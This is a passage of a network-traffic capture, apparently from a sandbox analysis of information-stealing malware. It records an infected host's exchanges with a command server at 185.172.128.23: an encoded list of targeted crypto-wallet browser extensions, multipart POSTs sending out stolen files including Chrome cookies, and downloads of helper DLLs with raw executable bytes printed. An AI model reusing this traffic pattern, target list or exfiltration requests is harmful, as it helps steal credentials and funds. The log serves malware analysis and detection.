6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 17, 2024 09:17:00.864537001 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 17, 2024 09:17:00.864577055 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 17, 2024 09:17:00.864617109 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 17, 2024 09:17:00.864656925 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 17, 2024 09:17:00.896012068 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDB Host: 185.172.128.23 Content-Length: 7495 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:00.896012068 CEST	7495	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 Data Ascii: ------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 17, 2024 09:17:01.579150915 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:01.962749958 CEST	93	OUT	GET /8e6d9db21fb63946/sqlite3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 09:17:02.274894953 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:02 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 17, 2024 09:17:02.274960041 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
Apr 17, 2024 09:17:02.275000095 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 17, 2024 09:17:02.275043964 CEST	233	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU
Apr 17, 2024 09:17:02.275084019 CEST	1289	IN	Data Raw: 24 ff d2 c9 c3 31 c0 c3 55 85 c0 89 e5 74 10 8b 88 0c 01 00 00 85 c9 74 06 ff 41 24 89 51 0c 89 d0 5d c3 85 c0 74 4d 0f b6 08 80 b9 e0 a1 ec 61 00 89 ca 79 3f 55 80 f9 5b b1 5d 0f 44 d1 b9 01 00 00 00 89 e5 57 56 53 be 01 00 00 00 8a 1c 08 8d 7e Data Ascii: $1UttA$Q]tMay?U[]DWVS~8u:TuT0A\0AF[8^_]UVS149uuaa)uC[^]UEUu1t]]UWVMSU}u1K
Apr 17, 2024 09:17:04.329876900 CEST	952	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDG Host: 185.172.128.23 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 2d 2d 0d 0a Data Ascii: ------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------IJKFCFHJDBKKFHIEHIDG--
Apr 17, 2024 09:17:04.805881023 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:04.935316086 CEST	560	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDB Host: 185.172.128.23 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4d 54 45 34 4d 54 67 78 4e 54 55 75 5a 6d 6c 73 5a 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 2d 2d 0d 0a Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="file_name"MTE4MTgxNTUuZmlsZQ==------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="file"------DAEGIIECGHCBFHJKEHDB--
Apr 17, 2024 09:17:05.312720060 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:06.019059896 CEST	560	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJ Host: 185.172.128.23 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4d 54 45 34 4d 54 67 78 4e 54 55 75 5a 6d 6c 73 5a 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="file_name"MTE4MTgxNTUuZmlsZQ==------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="file"------HIJJDGDHDGDAKFIECFIJ--
Apr 17, 2024 09:17:06.347274065 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:06.646182060 CEST	93	OUT	GET /8e6d9db21fb63946/freebl3.dll HTTP/1.1 Host: 185.172.128.23 Cache-Control: no-cache
Apr 17, 2024 09:17:06.968008041 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:06 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 